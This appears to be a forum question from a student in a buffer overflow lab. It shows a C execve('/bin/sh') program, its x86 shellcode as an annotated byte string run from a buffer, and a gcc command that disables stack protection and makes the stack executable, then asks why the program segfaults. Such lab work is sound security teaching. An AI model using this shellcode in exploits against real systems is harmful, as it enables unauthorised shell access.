title: Assembly version of C code to launch a shell
body: <p>In buffer overflow assignment, I got a C file (<code>call_shellcode.c</code>) which contains an assembly version of the following C code which executes to open a shell:</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;unistd.h&gt;
  int main(){
      char *name[2];
      name[0] = "/bin/sh";
      name[1] = NULL;
      execve(name[0], name, NULL);
  }
  </code></pre>
  
  <p>The code in file <code>call_shellcode.c</code> is:</p>
  
  <pre><code>#include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  
  const char code[] =
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
  ;
  
  int main(int argc, char **argv)
  {
     char buf[sizeof(code)];
     strcpy(buf, code);
     ((void(*)( ))buf)( );
  } 
  </code></pre>
  
  <p>I've compiled it by command :</p>
  
  <pre><code>gcc -fno-stack-protector -z execstack -o call_shellcode call_shellcode.c
  </code></pre>
  
  <p>When I execute it, it shows segmentation fault. Where did it go wrong?</p>